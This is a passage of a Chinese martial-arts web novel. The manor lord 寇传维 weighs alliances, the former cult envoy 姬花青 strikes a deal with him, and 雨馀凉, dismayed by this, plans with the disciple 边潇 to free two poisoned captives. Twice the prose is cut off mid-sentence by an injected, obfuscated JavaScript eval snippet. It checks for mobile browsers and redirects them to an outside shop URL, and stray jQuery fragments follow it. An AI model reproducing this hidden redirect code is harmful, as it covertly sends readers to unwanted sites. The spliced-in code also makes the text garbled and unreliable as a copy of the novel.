巴琅道:“那就更不能选他们了。当年不可一世的玄同教愿意将姿态摆得这么低,说明他们底子已经掏空了,没有实力再来惩治敢于背叛他们的人了。这样的盟友,啊不,主子,除了拖后腿外还能给瑚庄带来什么?且玄同教跟聊氏和卫氏不同,聊卫两家好歹还算武林正道,玄同教是什么东西?江湖人人得而诛之的邪道,有这样的盟友,啊又说错了,主子,会让瑚庄从一开始就饱受诟病,为寇庄主当上水南武林盟主的道路增加很多阻碍。我实在想不到放弃与卫氏或聊氏结盟而选择魔教的理由。” 寇传维点点头,问夏篁道:“夏篁,你的意思呢?” 夏篁道:“我同意巴先生的看法。” 邹仕担忧的声音传来:“可玄同教到底是魔教,事情做得太绝,恐怕……” 巴琅笑道:“邹管家胆子也忒小了,若都像邹管家这么前怕狼后怕虎,是成不了事的。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14176873|144790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 寇传维背着手看向站在身后的邹仕道:“巴先生这话说得不错。” 邹仕尽管心里不安,但也无话可说,一部分原因是寇传维毕竟是庄主,平日待庄中弟子和下人也甚威严,自己不好再驳了他的意思,一部分是由于邹仕也想不出什么反对的理由,只得低头不语,双手交叠在身前。 寇传维背着手来回踱步,一边思索一边道:“那么就是在卫氏和聊氏里面选。” 聊氏也许实力稍强于卫氏,但聊氏派来的那对男女态度令人感到讨厌,他们话里话外、神态举止间无不透露着令人反感的优越,处处表现出的“能为聊氏效力是你们的福分”令寇传维十分不悦。 寇传维寻求的是结盟合作,不是给人当狗。 寇传维又踱了一圈,已然打定了主意,道:“我们给聊氏的人下毒,又把他们关了起来,已经算是结下了梁子,何况我们先前已经答应了和卫氏合作,出尔反尔终究不好。” 寇传维的意思已经很明显了,夏篁问道:“那么,聊氏和玄同教的那几个人怎么……”话还未说完,门外就有人道:“庄主,临蓟那边来信了。” 寇传维扬首道:“进来。” 先前送信的那人还在院门外时姬花青就察觉到了脚步声,当即抓住雨馀凉背上的衣料飞上走廊廊顶的画梁。雨馀凉眼见那人推门进屋,屋内的黄光泄出一瞬后屋门随即关上。屋里一时无声,只听见一些极细微的纸张的声响,随后寇传维的声音传出来:“嗯……白氏那边说,要答谢先前我们瑚庄帮了他们忙,所以特地以五十两黄金,一千两白银,五瓶金玉霜,以及五十把乌沛上品利剑作为谢礼。” 走廊梁上狭窄,雨馀凉刚好在姬花青左侧。寇传维刚说出“白氏”两个字,雨馀凉余光就瞥见姬花青手指微动,等说到后面白氏要给瑚庄黄金、什么什么金玉霜等物时,雨馀凉便看到姬花青的头微侧,脸上神情似乎包含了难以置信、愤怒……以及种种其他难以言明的意味。 白氏也是水南鼎鼎有名的武林大家。雨馀凉从小在水南长大,而谷州刀派除了教授门下弟子武功之外,亦会教他们识记水南的各武林世家、名门大派并作为考核内容,再加之爷爷雨休又是对各门各派武学如数家珍的行家,所以雨馀凉自然知道白氏。 如今在水南无人不知的重云门、琥沙派,跟白氏比起来,也只能算是后辈。当年卫氏裂变之前,也就是水南、水西、水东还共尊一个武林盟主时,白氏就已经在水南存在。只是像很多老的武林世家一样,如今白氏凋敝,眼下是新兴的门派为水南武林盟主所重用。 雨馀凉虽然知道这些武林大家出手豪阔,但亲耳听到寇传维将白氏给的这些礼物说出来对他还是有相当大的冲击力。黄金白银先不说,水南的乌沛镇以冶铸出产的神兵利器而闻名天下,连许多水西、水东的武林人士都欲求一把乌沛宝剑而不得。白氏一送就是五十把,简直令数月前对谷州兵器铺里普通刀剑都还眼馋不已的雨馀凉瞠目结舌。 只是那金玉霜是什么东西,雨馀凉倒是闻所未闻。 像是有某种奇怪的感应一般,只听屋内夏篁道:“金玉霜?那是什么?” 巴琅的声音传来:“金玉霜的全名叫做金玉满堂霜,因为全名太长所以都叫金玉霜。这是只有白氏才知道如何调配的一种药膏,其实也就是金创药的一种,只是这药膏比其他金创药效果都更好。其他药敷不好的伤口,这种药可以,且敷上这药后,伤口愈合速度也比其他金创药来得快。” 夏篁语气有些不屑,道:“那也不是什么起死回生的灵药啊,还起了个这么浮夸的名字。说起来怎么才给五瓶?那么多黄金白银、乌沛宝剑都舍得给呢。” 巴琅道:“我听说这金玉霜的调制方式白氏自己也失传了,这五瓶看上去少,应该也是白氏所剩为数不多的金玉霜了。” 夏篁道:“不过是效果好一点的金创药而已,失不失传也无所谓吧。” 其实寇传维也不知道金玉霜是什么,只是他不想在自己下属面前显得孤陋寡闻,一开始便没有问,刚好夏篁问了出来,寇传维也就一并听了。 忽然有一条蜈蚣样的虫子自巴琅长袖下微露的指尖探出头来,巴琅脸上骤然变色,朝门外喝道:“谁在那!” 雨馀凉浑身一悚,没想到自己和姬花青突然间就被发现了,正准备急速逃离,却发现姬花青并没有离开的意思,恰恰相反,只见姬花青从梁上跃下,然后不紧不慢地进了巴琅和寇传维等人所在的屋子。 雨馀凉见了姬花青此举,一颗心简直要提到嗓子眼,他不知道姬花青这是打算做什么,犹疑一番,也硬着头皮跟着姬花青走进了屋子。 甫一进屋,雨馀凉便感到数道如刀一般的目光齐刷刷地向姬花青和自己射过来,仿佛屋内的人下一刻就要各抄兵刃将他们剁成碎块。 巴琅看清姬花青的脸后,露出疑惑的神色,似是不相信自己的眼睛一般,用近乎自言自语的语调道:“是你……”只见他脸上表情从不可思议到略微惊恐,最后演变为凝重和警惕。 68. 山庄(五) 姬花青抬头看向寇传维,道:“寇庄主,你好。” 瑚庄进了来路不明的人,竟没一个守卫发现,更让人心惊的是,若不是方才巴琅的一声断喝,这屋里的所有人都没察觉屋外有人。 巴琅也暗自心惊,若不是他身上常年携着专门感知无涯派内功的蛊虫,若不是方才虫子有了反应,他也压根不知道适才他们密谋时屋外蹲着两个人。 寇传维阴森森道:“你是谁?”说这话时,他已暗自在手上集聚内力。 寇传维不知他们方才的谈话被姬花青听去了多少,他已做好了灭口的准备。 瑚庄虽隶属于玄同教,但姬花青尚在玄同教时从未到过瑚庄,寇传维也从未到过玄同教总坛,所以寇传维虽听说过姬花青这个名字,却并不认识她。 姬花青道:“姬花青。” 寇传维双眼略微睁大,道:“姬花青?我知道你。” 姬花青笑着将右手一摊,道:“那我们接下来要说的事就方便商讨多了。” 六年前姬花青奉教中之命前去剿灭照水帮,却在这之后离奇失踪,最后经教中调查是叛逃去了岑氏。正当众玄同教徒对姬花青叛教的原因议论纷纷,并一边等待着教主下达追杀姬花青的命令时,教主竟只让教中诸人继续做好手头上的事,不去管她。 玄同教对右使脱离一事虽然保守极严,并未向外透露口风,但江湖上也逐渐有了“一玄同教徒前去照水帮清理门户,结果从此以后行踪音讯全无”的传言,与“剿灭照水帮的幕后真凶正是水西武林盟主卫尧觉”等传言一样,每种传言都有一部分拥趸,瑚庄是玄同教手下的势力,寇传维自然比一般的江湖人知道更多的内幕,所以对这名“叛教右使”也有所耳闻。 寇传维道:“商讨?你有什么事要和我商讨?” 姬花青道:“寇庄主,不知你是否有兴趣与我合作?” 寇传维道:“我为什么要和你合作?” 巴琅却在这时开口了:“庄主,此人擅自潜入瑚庄,又悄无声息于门外偷听我们谈话,若不是方才在下的蛊虫产生感应发现了她,还不知有多少话要被她听去。现下此人说要合作,乃是被发现后又来不及逃走,用于缓兵之计的鬼话,庄主须信她不得。依在下看,应当立即将此人杀灭,今天的事若是传了出去,庄主的大计就功亏一篑了。” 雨馀凉看向巴琅,只见这是个二十五六岁的年轻男子,看上去与姬花青年龄相当,一身打扮极具异族风情,虽在北人——因为蛮疆地处水南最南边,所以在蛮疆居住的人将水南、水西、水东除蛮疆之外地方的人统称为“北人”——之间行走,却毫不遮掩自己蛮人的身份。 姬花青道:“巴先生,你身为寇庄主的座上之宾,一心为寇庄主谋划,可不能因为咱俩有仇怨就误了庄主的大事啊。” 寇传维瞟向巴琅,道:“你们认识?” 巴琅被这么突然一问,一时没想好怎么跟寇传维说,姬花青道:“我和这位巴先生岂止认识,不过我们的事还是暂时放一边,先跟寇庄主谈合作的事吧。寇庄主,您这次杀了玄同教一个护法和一个长老,难不成还以为以后能高枕无忧,无有后患?依魔教的性子,您以后只会有无尽的烦恼啊。魔教不会善罢甘休,到时候闹起来,万一出了点什么导致寇庄主与水南武林盟主之位失之交臂的差错,岂不是不美了?” “夺得水南武林盟主之位”这种话在事成之前乃禁忌中的禁忌,是万万不能传出去的,而姬花青一来就将这话点了出来,在场之人身子都是一绷。本来仅凭这话,寇传维就该让姬花青血溅当场,但与此同时,姬花青随后的话又刚好说在寇传维心上,他虽决意摆脱玄同教,巴琅也说不必在意玄同教,但对魔教的惯性畏惧却仍像刺一般扎在他的喉头。 寇传维道:“难道你有什么办法,可以让魔教不来找我麻烦?” 姬花青微微一笑,道:“我曾是魔教的右使,魔教教主的徒弟。寇庄主,你应该知道,玄同教中,左使乃一人之下,万人之上,可当年在玄同教时,就连左使也没有资格命令我。我知道很多除教主之外谁也不知道的密辛,也能帮助瑚庄顺利摆脱玄同教。” 寇传维听姬花青这么说,倒不是没有心动。姬花青曾在玄同教身居高位,有教主亲传弟子这一身份,且据寇传维所知,康忱守只收了姬花青这一个徒弟,她确实应该知道很多其他教众无法触及的东西。寇传维看着姬花青道:“帮我摆脱玄同教,你想从我这得到什么?” 姬花青道:“庄主真是爽快,我的条件对庄主来说不过是九牛一毛罢了,我想要的,便是白氏送给瑚庄的那些东西,当然,我不会全部取走,金银钱财、金玉满堂霜、乌沛宝剑,匀出一部分给我就行了。” 寇传维道:“你帮我们摆脱玄同教,就只为了这些东西?” 姬花青笑道:“只要是人,就都得吃饭,我不像庄主您心怀远大理想,黄白之物,虽然听上去俗气,在下不才,平生却也只为这些东西奔走。至于伤药和兵刃,寇庄主也知道的,常在江湖奔波,这两样东西耗得最快,有了金玉霜和乌沛宝剑,也可省下一大笔开支。” 寇传维嘴角一扯算是一笑,道:“原来如此。阁下虽然知道魔教不少底细,不过以阁下一人之力,要对付魔教恐怕还是……” 姬花青笑笑,将头低下一阵,复又抬头看向寇传维:“实话告诉庄主吧,我现在替一位大人物办事。一入玄同,终生不得背叛,否则下场只有死。这句话庄主应该是知道的,而正是因为有那位大人物的庇护,我才能在这六年间活得好好的,由此您也能看出那一位的实力足以与魔教抗衡。而那位大人物,刚好也跟玄同教有仇,欲除之而后快,既然寇庄主和那位大人物在对付魔教这方面的目的是相同的,我便替你们二位搭个线。这位大人物跟姓聊的和姓卫的都不同,他对将水南武林收入麾下不感兴趣,庄主与他合作,也可以高枕无忧地做水南的盟主大人。” 寇传维知道姬花青所说的那位“大人物”应该便是岑氏了,却还是道:“哦?既然是这么厉害的大人物,想必开出的薪俸不会低,不然姬阁下也不会从魔教叛逃过去。怎么还要我瑚庄的银子呢?” 姬花青道:“钱这种东西,即使已经拥有了不少,可当更多的钱能够进入口袋时,又有几个人会拒绝呢?我替您和那位大人物双方都找到一位可靠的盟友,挣双份的银子,不过分吧?” 寇传维嗯了一声,道:“还有一个问题,也是我最疑惑的问题。” 姬花青道:“庄主请问。” 寇传维道:“据我所知道的,和你刚才亲口所说的,都表明魔教待你不薄,你为什么还要背叛魔教?” 姬花青道:“良禽择木而栖,我跟寇庄主一样,都觉得玄同教不再是值得容身的所在,何况另有人开出了更好的条件。天下扰攘,利来利往,人活在世,皆为一个‘利’字,庄主应该最明白其中的道理。” 寇传维失笑,道:“好,好!”寇传维本以为姬花青来者不善,却没想到事实与自己所设想的恰恰相反,有姬花青加盟,很多先前担心的问题似乎都迎刃而解了,他接着道:“只要事成,白氏给的那些东西,全部都奉送给姬阁下。” 姬花青颔首笑道:“多谢庄主。” 巴琅在一旁听着寇传维与姬花青对话,面上神色不定。 与巴琅一样内心变换不定的还有雨馀凉。 他有点看不懂眼前形势的走向了。姬花青和这些人说的话,他一个字也听不懂,然而虽然雨馀凉脑子里一片浆糊,却还是多少明白,姬花青现在与寇传维等人是一伙的了。 问题的关键就在这。 怎么回事?姬花青和他从地牢里出来后不是去找解药的吗?他们不是要救覃七霄和尹敕吗?怎么转眼之间姬花青就和寇传维他们合作了?那覃七霄和尹敕怎么办? 何况雨馀凉自己跟瑚庄也不是没一点恩怨。雨馀凉这样想着,不由自主看向了夏篁,结果发现夏篁也刚好在看他。 雨馀凉眼神刚与夏篁相接,便似被灼伤一般,下意识地移开目光看向别处。然而下一刻雨馀凉又想,自己凭什么不敢和他对视?同时暗骂自己类似逃跑的懦夫行径。于是他复又将头转回去,与夏篁对视。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187911|144790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 雨馀凉见夏篁看着自己的神色,便知道他已经认出自己了,只是无论是雨馀凉还是夏篁,都不方便在这种场合说起关于他们二人的事。夏篁见这雨休的孙子较劲般盯着自己,也用戏谑挑衅的眼光回盯雨馀凉。那边姬花青和寇传维等人交涉,这边雨馀凉和夏篁无声地较量。 这时从一旁传来的人声打断了二人,巴琅对夏篁道:“夏兄,你的意见如何?”巴琅对夏篁说话时,顺着夏篁的目光看过去,也看了雨馀凉一眼。 夏篁道:“庄主和巴兄觉得没问题就没问题,到时候我奉命行事就是了。”他将眼光从雨馀凉脸上收回,看向寇传维和巴琅,表现得十分自然。 夏篁年龄比巴琅大不少,却叫巴琅“巴兄”,足见他对巴琅的尊敬。 姬花青和雨馀凉出了屋子后,由寇传维安排的下人引导,带领姬雨二人来到瑚庄的客房。 三人在迷宫般的山庄中绕来绕去,姬花青和雨馀凉一路无话,不知走了多久,终于来到了客房。 二人的住处是位于同一座院子的两间屋子,庄中下人告辞后,雨馀凉和姬花青并未进到属于各自的房间,而是一同走进了其中一间屋子。两人虽然从寇传维那出来后就未说一句话,却似乎有一种默契,雨馀凉有问题想问姬花青,而姬花青亦知道雨馀凉心中一定充满了疑惑。 进屋后,雨馀凉又悄声折往门边窗畔,观察外面是否有其他人。他的动作被已经准备坐下的姬花青看在眼里,姬花青一边感慨雨馀凉的成长,一边对他道:“馀凉,过来吧。” 雨馀凉见外面没人,又听闻姬花青呼唤,于是也走到房间中央的圆桌前坐下。 雨馀凉心中虽有诸多疑惑,此刻却一句话也问不出来。 他突然觉得,姬花青对自己来说是那样陌生,不,他与姬花青,其实本就是陌路人。仔细想想,他从未真正了解过姬花青,从二人同行到现在,关于姬花青自己的所有事,姬花青都不曾告诉他,即使雨馀凉提出相关的问题,姬花青也只是模糊回答。他将姬花青当做自己的师长,可姬花青用来面对他的,却似乎一直都是疏离的礼貌与温和。 姬花青与他,本来就只是传授与被传授武功的关系啊,连师徒都算不上,他却在与姬花青旷日的相处中产生了错觉,认为自己在姬花青心中已然占据了一定的位置。 此时又正值深夜,万籁俱寂,一种诡异的安静在两人之间弥漫开来。 终于,雨馀凉决定开口,恰好姬花青也打算在此时说话,二人见对方准备说话,又都同时将嘴边的话咽了下去。 姬花青柔声道:“你说。” 雨馀凉道:“花青前辈,我们何时去寻解药?” 姬花青道:“……解药的事可能得先放放了。” 雨馀凉道:“那……覃护法和尹长老二位……” 姬花青道:“我既已与寇庄主联手,自然就不能帮玄同教的人了。” 雨馀凉一开始还抱着姬花青与寇传维联手,是在紧急情况下采取迂回策略的幻想,此刻才知道,原来姬花青是真心实意地想要和寇传维合作。 雨馀凉感到心里有什么东西在下沉,他看着姬花青道:“我不明白!你答应过的,你答应过会救他们,你当着覃护法和尹长老的面说绝不会做出背叛玄同教的事,你那时的表情那么诚恳,可转眼间你就答应寇传维出卖玄同教!” 姬花青见雨馀凉指责自己,心头也蹿起一股火,道:“你没资格来教训我该做什么!” 雨馀凉愣住了。 这是姬花青第一次如此疾言厉色地对他说话。 雨馀凉双手覆面道:“我不知道玄同教是正是邪,也不知道你当初为何离教,我只是觉得,这样的人……让我感到害怕……”他将头抬起,看向姬花青双眼,道:“你究竟想做什么?” 姬花青将眼神从雨馀凉身上挪开,看着地下摇头道:“夜深了,你也快去睡吧。”她说这句话时,并没有看向雨馀凉。 雨馀凉起身,一言不发地走出了屋子。 雨馀凉离开后,姬花青以手撑桌,重重喘了几口气。 69. 朱明(一) 自从姬花青和寇传维达成合作,之后的两日姬花青都是一早就去和寇传维等人商议,晚上很晚才回到住处,如此早出晚归,雨馀凉见姬花青一面都难。 初夏时节,白日漫漫,这日雨馀凉正百无聊奈之时,忽见瑚庄管家邹仕领着十多个少年走进院中。 雨馀凉认得邹仕,知道他与夏篁一样,是寇传维亲近的下属。雨馀凉不知来者何意,忙起身出来相迎。 邹仕对雨馀凉草草行了个礼,道:“雨少侠。” 雨馀凉还礼道:“邹管家好。” 邹仕道:“雨少侠,我们庄主听闻少侠年纪轻轻就已武艺不俗,这几日庄主有要事缠身,怕弟子们懈怠了武艺,想请雨少侠与我们瑚庄的弟子以武会友,交流交流习武经验。”说着把手一伸,将雨馀凉的目光引向身后站着的五六个少年,“他们都与雨少侠差不多年纪,雨少侠出手时不必客气,也好让他们见识见识什么叫天外有天。” 邹仕的这番话听得雨馀凉有些怔愣,什么“年纪轻轻就武艺不俗”、“天外有天”这种话让他感到脸红,要他和这些瑚庄弟子切磋什么的,雨馀凉不知道是姬花青的意思还是怎么回事,他正准备追问时,邹仕已对雨馀凉微一躬身,道:“在下还有要事在身,这就告辞了。”说毕便转身离开,不再回头,只留下十几名瑚庄弟子留在原地。 雨馀凉朝邹仕离开的方向踏出一步,想要问个清楚,一道声音从他身后传来:“雨少侠,邹管家很忙的,你有什么事跟我们说就可以了。” 雨馀凉回头,开口说话的弟子正是寇传维的大弟子边潇,边潇身后站着的则是他的师弟们,这些弟子们都穿着清一色的白衣青裤,衣袖挽起,裤脚用绑腿扎紧。 边潇等瑚庄弟子早就知道了雨馀凉的名字,待他们一一向雨馀凉介绍完自己后,雨馀凉道:“各位怎么突然过来……” 边潇大剌剌道:“是师父让我们来的啦,雨少侠,那个穿黑衣衫的姐姐,是你的师父么?” 雨馀凉道:“呃……她确是在教我武功。”他倒不介意别人说姬花青是自己师父,可姬花青不愿,其间原委解释起来挺麻烦,雨馀凉便答得模糊。 边潇扭头对旁边的师弟道:“看,我就说她是雨少侠的师父吧,你们还说不可能呢。”他复又转头看向雨馀凉,道:“真羡慕你有这样一个师父,温温柔柔的,跟我们的师父一点都不一样。” 雨馀凉心想,花青前辈待人的确是很温柔。他又想起前几天晚上,姬花青似乎有些对自己发了火,这两天又总是不见姬花青,雨馀凉心情便有些沉郁。 边潇没有察觉提起姬花青后雨馀凉略微消解的笑容,对雨馀凉道:“我们这些师父啊,就是看不惯他们的徒弟闲下来,变着法地给我们找事情做。可他们最近很忙,根本就没空来看我们。雨少侠,我说这些的意思你明白吗?”一边说一边朝雨馀凉不断眨眼。 雨馀凉看着边潇突然凑近的脸,有些怔愣。 边潇一手拍在自己额头上,道:“真是个老实人,我的意思就是说,既然咱们的师父都不在,那我们想怎么‘交流经验’就怎么‘交流经验’喽。” 雨馀凉道:“是,师父们不在,我们下手便轻些。” 边潇哈哈笑出声,道:“雨兄,说你老实你还真老实!”他倏然收了声音,悄声道:“我们比试采蘑菇,掏鸟蛋!” 雨馀凉险些呛到:“这……你师父发现怎么办?”他倒不担心被姬花青发现,姬花青的教学风格极其散漫,情绪也很稳定,并不像谷州刀派的师父辜俊愿那般对弟子严加管教,依姬花青的性子,就算她发现自己摸鱼,也不会说什么。寇传维就不一样了,雨馀凉还记得那天刚潜入瑚庄时,寇传维扇自己徒弟耳光的情形。 雨馀凉发现,姬花青不仅对他是这般,在很多事上,姬花青都是懒懒的,兴趣索然的。 只有在朝一个目的前进时,姬花青眼中才会表现出热切,雨馀凉知道,那个目的便是姬花青将要在临蓟做的事。 她打算在临蓟做什么呢?姬花青什么都不肯跟他说,他曾数次隐晦地向姬花青打探过,但姬花青皆是缄口不言。 这次也是一样,说跟寇传维合作就合作,一点征兆都没有,明明不久前还说要给玄同教的覃护法和尹长老找解药,然后救他们出去,可如今覃尹二人还关在瑚庄地牢中。 雨馀凉心中一动,姬花青突然改变主意跟寇传维合作,跟她将要在临蓟做的事有关吗? 边潇笑道:“师父这段时间一门心思都在他自己的事上,哪能分出神来管我们?这次叫我们相互切磋学习也不过是一时兴起随口一说,过会他自己说不定都忘了,但邹管家总是把师父的每一句话都认真执行。” 雨馀凉还是不放心,毕竟现在寇传维跟姬花青是合作关系,雨馀凉担心自己捅出什么篓子,他是和姬花青一起来的,若是寇传维不高兴他雨馀凉,影响了姬花青的计划就不好了。于是道:“边兄,这不妥吧?” 边潇笑道:“什么妥不妥的?我跟着师父习武十年了,你还能有我了解我师父?” 旁边一名瑚庄弟子道:“大师兄,他不去就算了,再等一会去摘,蘑菇都没那么好吃了。” 雨馀凉找不到话反驳边潇,也不好拂了后者的意。再者,若被庄子里的人看见他没跟边潇等人在一起,到时候问起来自己反而不好回答,于是只得跟着边潇等人去。 瑚庄是一座山庄,顾名思义,是建在山上的庄子,山庄外便是茂密的山林,林中长了不少菌菇。 雨馀凉看着瑚庄的这些弟子们打打闹闹,突然想起自己曾在谷州刀派时的日子。 晚上雨馀凉听到姬花青所住的屋子房门声响,知道是姬花青回来了,于是从自己屋子走出,来到姬花青房间,跟姬花青提起白天边潇等瑚庄弟子的事。 姬花青一边在架上的盆中洗手,一边听雨馀凉说完,道:“什么?寇传维已经派人来找过你了?” 雨馀凉听姬花青这么说,这才知姬花青也不知情。 又听姬花青道:“这件事,他的确跟我提过,我当时只道他是随口一说。馀凉,你若不想这样,我明日就去跟寇传维说,让他把徒弟叫回去。” 雨馀凉觉得他跟这些瑚庄弟子尤其是边潇倒是好相处,反正在瑚庄闲得无事,雨馀凉也乐得跟他们一起,于是道:“不用了花青前辈,我觉得切磋一下蛮好的。” 姬花青闻言,将手上的水甩了两甩,盯着雨馀凉看了一会。雨馀凉感到有些不自然,只听姬花青道:“你变了,如今竟喜欢上与人比武了。” 雨馀凉讪讪笑笑,道:“只是想着正好检验一下这段时间的修炼成果。” 之后的两天,雨馀凉都和边潇等瑚庄弟子在采蘑菇、掏鸟蛋、打山鸡中度过。 又过了两天,其他弟子渐渐不来了,就只有边潇继续来找雨馀凉。 边潇十分自来熟,和雨馀凉年纪相仿,且态度极是亲和,雨馀凉对他也颇有好感。这日午后,二人一同坐在庄中湖畔的树荫下乘凉。 这个时候庄子里的人大都午休去了,到处都静悄悄的,一旁的石榴花在明媚的阳光下开得如火如荼,烈烈如焚。 雨馀凉问边潇:“边师兄,你可知道你师父和花……我师父这几天都在谈些什么吗?” 边潇道:“不知道。除了我师父,夏先生和巴先生也和他们一起。” 雨馀凉心中一突,道:“那位夏先生是不是叫做夏篁?” 边潇道:“是啊。” 雨馀凉不由自主地捏紧了拳头,道:“这位夏篁先生,是什么来头?” 边潇没注意雨馀凉这些小动作,仰头道:“夏先生是我师父的老下属了,差不多在我拜入瑚庄门下时他就在替师父做事。” 雨馀凉道:“他可是来自蛮疆?” 边潇摇头道:“他不是蛮人。”边潇顿了顿,“不过巴先生倒是来自蛮疆。” 雨馀凉有些迫促道:“难道说,夏篁的蛊术是习自巴琅?”他有些激动,这句话倒不像是在跟边潇说,而是在自言自语。 边潇看向雨馀凉道:“咦?你怎知道夏先生会蛊术?” 雨馀凉自然不可能将夏篁与雨休的事说给边潇,也不会说自己其实认识夏篁,于是道:“我和……我刚来瑚庄时,听人说起过。”他一开始本想说“我和花青前辈刚来瑚庄时”,但这样一来,边潇可能要追问他为何要叫自己的师父为“前辈”,其中原委复杂,雨馀凉自己也解释不清。但雨馀凉又不愿继续背着姬花青在别人面前称她为“师父”,便直接说自己刚来瑚庄时如何如何。 边潇道:“嗯,是了,你师父和我师父合作,肯定要知道对方都会些什么技能。没错,夏先生的蛊术,是习自于巴先生。” 雨馀凉又问:“那位巴先生,又是多久来瑚庄的?” 边潇望天,思索道:“来了有……五六年了吧。” 雨馀凉道:“关于这位巴先生,边兄可还知道些什么?” 边潇想了又想,道:“嗯……我只知道他是蛮人,约莫六年前被师父招揽进瑚庄成了门客,夏先生常向他请教蛊术,除此之外,其他的我就都不清楚了。” 雨馀凉道:“你可知他是来自蛮疆哪个部族的?” 边潇道:“蛮疆的部族又多又杂,我们师父大概都不知道他是哪个部族的。” 这倒是事实。雨馀凉也知道,蛮疆的一个部族假设哪天起了内讧,很快就会散成数个部族,而没过多久,这些部族可能又会和其他部族结合在一起形成一个新的部族,所以边潇在这个问题上应当没有隐瞒。 饶是如此,雨馀凉也不认为边潇跟他说的全是实话,毕竟对瑚庄来说,他雨馀凉终究是外人。 雨馀凉心眼本就不算少,在谷州刀派时就是如此,只是看上去有些傻气,不过他提防边潇倒确实是多此一举了,实际上,边潇这个瑚庄大弟子性子天真直率,雨馀凉问了这么多,他都是坦诚地一一回答,说不知道的也确实是不知道,一点都没有去深究雨馀凉为什么要问这些。 两人看向湖的方向,一时无话。初夏无风的湖面平静如镜,没有一丝波澜,炙热的阳光照在湖面上,偶尔一阵极细微的风从湖面吹来,拂在人脸上都是热热的。 雨馀凉忽然道:“边兄,你师父的性子一直都是这样吗?” 不料边潇的语气也一下变得凝重起来,他道:“不是。师父从前也很严厉,但对我们还是有些温情的。可是最近几年……我形容不出这种感觉,就是觉得他变得越发……越发……”边潇想了很久,“越发,嗯……冷漠了?其实,说冷漠似乎也不准确,就是感到他越来越不在意我们,而只在意自己的事了。” 雨馀凉本也是随口一问,听边潇这么说,想起姬花青对自己的态度,竟与边潇产生了十足的共鸣。雨馀凉叹了口气,道:“有时觉得身边的长辈突然就不是我认识的那个长辈了。”他说这句话时,亦想到了雨休。雨休与夏篁搭上桥后很久,他都还蒙在鼓里。 雨休和姬花青一样,什么都不跟他说。 雨馀凉自嘲地笑笑,“或许他们本就不是我们看到的那样,只不过面对我们时一直戴着面具。” 雨馀凉这句话似乎触动了边潇,边潇想了想,最终还是道:“这次师父将玄同教的那两人抓起来,我是一点都看不懂。” 雨馀凉听边潇提到覃七霄和尹敕,抬起头来看着他。 边潇苦笑道:“我毕竟是瑚庄大弟子,瑚庄与玄同教有渊源,我也是知道的。”在边潇的认知中,现在雨馀凉与瑚庄是同盟关系,所以瑚庄与玄同教隐秘的关系,也毫无顾忌地在雨馀凉面前说了出来,“说实话,我感到十分不安,我担心师父此举会给瑚庄带来祸事,可我们这些弟子的提议,眼下师父都听不进去。” 边潇垂下眼睑:“我是真的很担心师父,也担心瑚庄,他们总说如今玄同教式微,不必忌惮,可那毕竟是魔教啊,魔教血洗不服从他们的门派帮会的故事,我从小听到大……要是师父没有把玄同教的那两个人抓起来就好了,但好在师父还是没将他们杀了,若他们死在瑚庄,这件事就真的没有回旋的余地了。” 雨馀凉感受到自己的心脏在胸腔里怦怦而跳,一个疯狂的想法蹿上他的脑海,他道:“若是玄同教的那两人活着从瑚庄出去,瑚庄和你师父是不是就都不会遭殃了?” 边潇道:“至少不是必死无疑了。可师父不仅没有放了他们的意思,还给他们下了毒,那毒是我们瑚庄特有,中毒之人不仅内力全失且口渴无比,四十九日后便会毒发身亡。若不在前三十日内服下解药,之后就算再服解药也无济于事了。” 雨馀凉道:“假如,假如我们能拿到解药,给他们服下后再放他们出去……” 雨馀凉跟覃七霄和尹敕并不熟悉,只是姬花青答应了要放他们出去转头就背叛这二人的行为如鱼刺一般梗在雨馀凉的喉头,雨馀凉心想,偷偷将这二人放了,不仅没有对覃尹二人背信弃义,之后他再找个时间将自己做的一切告诉姬花青,对姬花青应当也没什么大碍。 半年之前,若他早就知道雨休在和夏篁往来,若那个时候就阻止了雨休,现下他是不是还和雨休安稳平静地生活在谷州? 这次他必须要做点什么了,不能再干等到事情发展至无可挽回的地步,到时候姬花青若发怒,她的怒火就由自己一力承担。 边潇听了雨馀凉的话,反应过来后心脏也逐渐鼓噪起来,就在这时,边潇的眼睛忽然一亮,向远处叫道:“碧桃,碧桃!” 雨馀凉见边潇脸上露出极开心的神色,也往前定睛看去,只见一个身着碧色半袖,芽黄衫裙的姑娘正往前走,听见边潇的声音后,变了行进方向,分花拂柳往他们这边折来。 等这姑娘走近,雨馀凉看清她约莫十五六岁的样子,身上的碧黄衣衫式样与瑚庄内其他丫鬟侍女一般无二。 边潇向雨馀凉笑呵呵地介绍:“雨兄,这位是碧桃,我师父的剑侍,武功比我好。”雨馀凉见边潇脸上容光焕发,默默在心里揣测二人的关系。 边潇向碧桃介绍道:“这就是几天前来到庄内的那位雨馀凉兄弟。” 碧桃对雨馀凉微微颔首,道:“我知道。”她的眼光在雨馀凉身上转了一圈,对边潇道:“庄主这几日无暇课徒,要你们和雨少侠多切磋演练,相互学习。可我瞧你们不像在切磋的样子。” 边潇道:“我好不容易等到师父不空这么个放松的机会,哪还能练习武功呢?” 碧桃道:“你身为大师兄,一点都没带个好头,怪不得我看刁了了他们这两天都过午了房门还紧闭着,不用猜都知道是在睡大觉。” 刁了了就是边潇那名刁姓师弟的大名。 